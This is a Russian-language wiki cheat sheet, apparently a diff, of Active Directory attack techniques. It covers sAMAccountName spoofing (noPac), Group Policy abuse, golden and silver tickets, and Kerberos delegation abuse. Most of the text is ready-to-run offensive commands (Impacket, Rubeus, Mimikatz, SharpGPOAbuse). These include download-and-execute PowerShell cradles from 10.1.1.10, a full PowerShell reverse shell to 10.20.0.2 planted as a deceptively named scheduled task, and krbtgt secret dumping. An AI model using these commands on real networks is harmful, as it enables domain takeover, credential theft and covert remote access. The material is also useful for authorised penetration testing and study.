addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
 +
</syntaxhighlight>
 +
 +
Powermad
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
. .\Powermad.ps1
 +
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
 +
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
 +
</syntaxhighlight>
 +
 +
SharpMad
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
 +
</syntaxhighlight>
 +
 +
2. Очистить атрибут servicePrincipalName у учетки
 +
 +
 +
Impacket
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
 +
</syntaxhighlight>
 +
 +
PowerView
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
. .\Powerview.ps1
 +
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
 +
</syntaxhighlight>
 +
 +
 +
3. Переименовать учетку (sAMAccountName  поле) в название_другой_машинной_учетки_без_доллара, например, DomainController или DC01
 +
 +
 +
Impacket - https://github.com/SecureAuthCorp/impacket/pull/1224
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
 +
</syntaxhighlight>
 +
 +
Powermad
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
. .\Powermad.ps1
 +
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
 +
</syntaxhighlight>
 +
 +
4. Запросить TGT билет для данной учетки
 +
 +
 +
Impacket
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
 +
</syntaxhighlight>
 +
 +
 +
Rubeus
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
 +
</syntaxhighlight>
 +
 +
5. Переименовать название учетки в старый вариант (ну или любой другой который отличается от учетки-жертвы без доллара)
 +
 +
 +
Impacket - https://github.com/SecureAuthCorp/impacket/pull/1224
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
 +
</syntaxhighlight>
 +
 +
Powermad
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
 +
</syntaxhighlight>
 +
 +
6. Запросить TGS билет используя полученный ранее TGT (спойлер, билет будет для учетки-жертвы)
 +
 +
 +
Impacket - https://github.com/SecureAuthCorp/impacket/pull/1202
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
 +
</syntaxhighlight>
 +
 +
Rubeus
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
 +
</syntaxhighlight>
 +
 +
 +
Далее с этим билетом можно стучаться на доменный контроллер и, например, сдампить секреты:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
 +
</syntaxhighlight>
 +
 +
 +
==== Автоматизация ====
 +
 +
noPac - https://github.com/cube0x0/noPac
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
noPac.exe scan -domain htb.local -user user -pass 'password123'
 +
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
 +
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
 +
</syntaxhighlight>
 +
 +
sam_the_admin - https://github.com/WazeHell/sam-the-admin
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
$ python3 sam_the_admin.py "caltech/alice.cassie:Lee@tPass" -dc-ip 192.168.1.110 -shell
 +
[*] Selected Target dc.caltech.white                                             
 +
[*] Total Domain Admins 11                                                       
 +
[*] will try to impersonat gaylene.dreddy                                       
 +
[*] Current ms-DS-MachineAccountQuota = 10                                       
 +
[*] Adding Computer Account "SAMTHEADMIN-11$"                                   
 +
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL                     
 +
[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
 +
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white 
 +
[*] SAMTHEADMIN-11$ sAMAccountName == dc                                         
 +
[*] Saving ticket in dc.ccache                                                   
 +
[*] Resting the machine account to SAMTHEADMIN-11$                               
 +
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value                   
 +
[*] Using TGT from cache                                                         
 +
[*] Impersonating gaylene.dreddy                                                 
 +
[*]    Requesting S4U2self                                                     
 +
[*] Saving ticket in gaylene.dreddy.ccache                                       
 +
[!] Launching semi-interactive shell - Careful what you execute                 
 +
C:\Windows\system32>whoami                                                       
 +
nt authority\system
 +
</syntaxhighlight>
 +
 +
Pachine - https://github.com/ly4k/Pachine
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
 +
              [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
 +
              [domain/]username[:password]
 +
$ python3 pachine.py -dc-host dc.predator.local -scan 'predator.local/john:Passw0rd!'
 +
$ python3 pachine.py -dc-host dc.predator.local -spn cifs/dc.predator.local -impersonate administrator 'predator.local/john:Passw0rd!'
 +
$ export KRB5CCNAME=$PWD/administrator@predator.local.ccache
 +
$ impacket-psexec -k -no-pass 'predator.local/administrator@dc.predator.local'
 +
</syntaxhighlight>
 +
 +
== Групповые политики ==
 +
 +
Некорректная настройка групповых политик, которая приводит к возможности повышения привилегий.  Как минимум, для начала достаточно получить список всех политик командами, которые ранее были указаны.
 +
 +
=== Права на управление политикой ===
 +
 +
1. Получаем список всех политик командой ранее
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
 +
</syntaxhighlight>
 +
 +
2. Находим среди них те, у которых IdentityReference совпадает с вашим пользователем и правами на работу с политиками.
 +
 +
 +
3. Находим хосты с данной уязвимой политикой по GUID
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_}
 +
</syntaxhighlight>
 +
 +
 +
4. Определеяем название политики по GUID
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Import-Module GroupPolicy
 +
Get-GPO -Guid 31a09564-cd4a-4520-98fa-446a2af23b4b
 +
</syntaxhighlight>
 +
 +
 +
4. Создаем задачу с данной политикой
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_payload>' -Force
 +
</syntaxhighlight>
 +
 +
 +
5. Удаление созданной задачи после работы
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy
 +
</syntaxhighlight>
 +
 +
=== Права на создание политики ===
 +
 +
1. Получаем списки обьектов(SID S-...), которые могут создавать новые политики в домене:
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=prod,DC=zeropointsecurity,DC=local" -ResolveGUIDs | where { $_.ObjectAceType -eq "Group-Policy-Container" }
 +
</syntaxhighlight>
 +
 +
 +
2. Получаем имя обьекта по SID
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
(module Powerview): ConvertFrom-SID S-1-5-21-2099624319-2074614000-178036743-1002
 +
</syntaxhighlight>
 +
 +
=== Права на редактирование политики ===
 +
 +
 +
1. Список юзеров, которые могут изменять политики
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}" }
 +
 +
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ActiveDirectoryRights -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}" }
 +
</syntaxhighlight>
 +
 +
 +
2. Узнаем имя политики
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-DomainGPO -Identity '{205F0E03-17C3-4E9B-925E-330FAD565CA1}' | select DisplayName
 +
</syntaxhighlight>
 +
 +
 +
3. Получаем список ПК с данной политикой
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-NetOU -GUID "205F0E03-17C3-4E9B-925E-330FAD565CA1" | % {Get-NetComputer -AdSpath $_}
 +
</syntaxhighlight>
 +
 +
 +
4. Нужен пользователь, который может связать политику с "Организационными подразделениями"(OU), например, OU=Workstations. В идеале нужен тот же пользователь, кто может менять политику (так проще).
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" }
 +
</syntaxhighlight>
 +
 +
=== Автоматизация ===
 +
 +
==== SharpGPOAbuse ====
 +
https://github.com/FSecureLABS/SharpGPOAbuse
 +
 +
Добавление прав пользователю
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
 +
</syntaxhighlight>
 +
 +
Добавление нового локального админа
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
 +
</syntaxhighlight>
 +
 +
Добавление сценария запуска компьютера или пользователя
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
 +
 +
# только на определенном пк
 +
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell
 +
</syntaxhighlight>
 +
 +
 +
Настройка ПК или пользователю задачи
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
 +
 +
# на определенном ПК или пользователе
 +
 +
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
 +
</syntaxhighlight>
 +
 +
 +
==== PowerGPOAbuse ====
 +
https://github.com/rootSySdk/PowerGPOAbuse
 +
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
. .\PowerGPOAbuse.ps1
 +
</syntaxhighlight>
 +
 +
 +
Добавить локального админа
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
 +
</syntaxhighlight>
 +
 +
 +
Выдать новые привилегии
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
 +
</syntaxhighlight>
 +
 +
 +
Добавить новый ПК/пользовательский скрипт
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'
 +
</syntaxhighlight>
 +
 +
 +
Создать задачу
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'
 +
</syntaxhighlight>
 +
 +
 +
==== pyGPOAbuse ====
 +
 +
https://github.com/Hackndo/pyGPOAbuse
 +
 +
 +
Добавить пользователя john(пароль H4x00r123..) в локальные админы
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
 +
</syntaxhighlight>
 +
 +
 +
Пример реверс-шелла
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
 +
    -powershell \
 +
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
 +
    -taskname "Completely Legit Task" \
 +
    -description "Dis is legit, pliz no delete" \
 +
    -user
 +
</syntaxhighlight>
 +
 +
==== PowerView ====
 +
 +
 +
Вычисление групповых политик
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
 +
</syntaxhighlight>
 +
 +
 +
Создать таск используя политику VulnGPO
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
 +
</syntaxhighlight>
 +
 +
 +
==== StandIn ====
 +
 +
https://github.com/FuzzySecurity/StandIn
 +
 +
Добавить локального администратора
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
StandIn.exe --gpo --filter Shards --localadmin user002
 +
</syntaxhighlight>
 +
 +
 +
Выдать привилегию пользователю
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
 +
</syntaxhighlight>
 +
 +
 +
Запуск произвольной команды
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
 +
</syntaxhighlight>
 +
 +
 +
== Выполнение действий подменяя DC  ==
 +
 +
=== Golden ticket ===
 +
 +
Если у нас есть пароль (или ntlm-hash) аккаунта krbtgt, можно сгенерировать любой TGT оффлайн.
 +
А после получения произвольного TGT можно получить произвольный TGS == доступ к любому сервису, подключенному к AD.
 +
 +
==== Детект ====
 +
Детектится, если посмотреть разницу между запрашиваемыми TGT и TGS (тк TGT генерится без запроса к доменному контроллеру
 +
 +
==== Эксплуатация ====
 +
 +
1. Получить пароль krbtgt
 +
 +
2. Сгенерировать TGT - рассматривать будем только этот пункт.
 +
 +
3. Получить TGS
 +
 +
4. Использовать TGS для доступа куда то.
 +
 +
 +
 +
Mimikatz
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
kerberos::purge
 +
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
 +
kerberos::tgt
 +
</syntaxhighlight>
 +
 +
 +
Meterpreter - kiwi
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
load kiwi
 +
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
 +
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
 +
kerberos_ticket_purge
 +
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
 +
kerberos_ticket_list
 +
</syntaxhighlight>
 +
 +
 +
Impacket - ticketer.py
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
 +
 +
ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
 +
 +
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
 +
</syntaxhighlight>
 +
 +
 +
=== Silver ticket ===
 +
 +
Суть атаки заключается в использовании пароля учетки службы (или его хеш), например, domain\iis_svc) для генерации TGS без участия доменного контроллера.
 +
 +
==== Эксплуатация ====
 +
 +
1. Сгенерировать TGS
 +
 +
2. Использовать TGS для доступа куда то.
 +
 +
 +
Mimikatz
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
# Сгенерировать TGS
 +
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
 +
 +
# Другие примеры
 +
.kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
 +
kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
 +
 +
# Сохранить tgs
 +
misc::convert ccache ticket.kirbi
 +
 +
</syntaxhighlight>
 +
 +
У Active Directory есть стандартные настройки для учеток и др для общения, например, между сервисами.
 +
Это не является уязвимостями или атаками тк является стандартными возможностями, которые были предусмотрены как разработчиками AD, так и архитекторами.
 +
 +
 +
= Делегирования полномочий =
 +
 +
Делегирование полномочий Kerberos позволяет повторно использовать учетные данные конечного пользователя для доступа к ресурсам, размещенным на другом сервере. Всего есть три типа делегирования.
 +
 +
 +
== Unconstrained Delegation / Неограниченное ==
 +
 +
Кратко: вместе с TGS, пользователь на сервис отправляет встроенный в TGS - TGT-билет, который в дальнейшем может быть использован сервисом для работы от имени данного пользователя.  Был единственным вариантом делегирования до Windows Server 2003.
 +
 +
Атакующий может получить контроль над машиной, у которой есть данная привилегия, и соответственно получить TGT всех пользователей, которые делали соответствующие запросы на сервисы этой машины.
 +
 +
Стандартная процедура:
 +
 +
1. Пользователь отправляет TGS-билет(в который также встроили TGT билет) к сервису на ПК с Unconstrained Delegation
 +
 +
2. Этот ПК делает запросы на другие сервисы от имени первого пользователя используя его TGT.
 +
 +
=== Поиск ПК ===
 +
 +
==== ПК в домене ====
 +
 +
PowerView
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-NetComputer -unconstrained
 +
 +
# Список ПК с Unconstrained
 +
$Computers = Get-DomainComputer -Unconstrained
 +
 +
# Список юзеров, кто может делегироваться
 +
$Users = Get-DomainUser -AllowDelegation -AdminCount
 +
</syntaxhighlight>
 +
 +
 +
Active-Directory Module
 +
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
 +
import-module ActiveDirectory
 +
Get-ADComputer -Filter {(TrustedForDelegation -eq $True)}
 +
</syntaxhighlight>
 +
 +
==== Удаленно ====
 +
 +
ldapdomaindump
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10 
 +
grep TRUSTED_FOR_DELEGATION domain_computers.grep
 +
</syntaxhighlight>
 +
 +
CrackMapExec
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation
 +
</syntaxhighlight>
 +
 +
windapsearch
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
python3 windapsearch.py --unconstrained-users --unconstrained-computers ...
 +
</syntaxhighlight>
 +
 +
ldapsearch
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
# users
 +
ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com" "(&(&(objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=524288))"
 +
 +
# computers
 +
ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com" "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
 +
</syntaxhighlight>
 +
 +
=== Эксплуатация ===
 +
 +
Варианты эксплуатации:
 +
 +
1. Используя PrinterSpool - тогда вы получите TGT доменного админа заставив его перейти на сервис под вашим контролем (см. PrinterSpool)
 +
 +
2. Используя MS-EFSRPC Abuse - альтернативный методу SpoolSample, который заставляет доменного админа перейти на ваш ПК (см. MS-EFSRPC Abuse)
 +
 +
 +
== Constrained Delegation / Ограниченное ==
 +
 +
Аналогично предыдущему пункту, но позволяет получить доступ только к разрешенным сервисам на определенной машине.
 +
 +
Есть два типа делегации:
 +
 +
1. Service for User to self (S4U2self)
 +
 +
2. Service for User to Proxy(S4U2proxy)
 +
 +
=== Service for User to self (S4U2self) ===
 +
 +
Это когда сервисный аккаунт может получить TGS для себя (на сервис) от имени любого пользователя.
 +
 +
Требования: у этого аккаунта поле userAccountControl должно содержать TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D).
 +
Также у аккаунта не должно быть пометки "Account is sensitive and cannot be delegated".
 +
 +
==== Поиск ====
 +
 +
 +
==== Эксплуатация ====
 +
 +
 +
 +
=== Service for User to Proxy(S4U2proxy) ===
 +
 +
Это когда сервисный аккаунт может получить TGS на другой сервис.
 +
 +
Требования: можно сделать запрос только на сервисы из поля msDS-AllowedToDelegateTo.
 +
Также у аккаунта не должно быть пометки "Account is sensitive and cannot be delegated".
 +
 +
Из полезного: если ваш аккаунт может делегировать права на сервис, например www/server02, то он также может делегировать права на другой сервис на этом ПК, например на cifs/server02.
 +
 +
==== Поиск ====
 +
 +
Powershell
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
# Поиск ПК
 +
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname
 +
 +
# Список сервисов
 +
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
 +
</syntaxhighlight>
 +
 +
 +
 +
==== Эксплуатация ====
 +
 +
Impacket
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
getST.py -spn SERVICE/HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO.FQDN -impersonate TARGET_USER DOMAIN/USERNAME:PASSWORD
 +
 +
getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
 +
</syntaxhighlight>
 +
 +
Rubeus
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
#Получаем TGT на нашего пользователя
 +
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
 +
 +
#Получаем TGS на самого себя от имени юзера Administrator
 +
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
 +
 +
#Используем TGS к сервису CIFS от юзера Administrator
 +
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
 +
 +
#Используем TGS на другом сервисе (HOST)
 +
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
 +
 +
#Загружаем билет в память
 +
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
 +
</syntaxhighlight>
 +
 +
kekeo.exe + Mimikatz.exe
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
# Получем TGT для нашего пользователя
 +
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
 +
 +
#Получаем TGS на два сервиса - один легитимный (time) и другой (ldap)
 +
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
 +
 +
#Загружаем TGS в память
 +
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"' 
 +
</syntaxhighlight>
 +
 +
== Resource Based Constrained Delegation / Ограниченное на основе ресурсов ==
 +
 +
Основное отличие от Constrained Delegation в том, что конечный сервис на который делегируемся должен иметь атрибут AllowedToActOnBehalfOfOtherIdentity со значением сервиса, на который изначально идет запрос (сервис, который делает запрос на конечный сервис).
 +
 +
=== Поиск ===
 +
 +
 +
=== Эксплуатация ===
 +
 +
==== Powermad + Powerview + Rubeus (получение доменного админа) ====
 +
 +
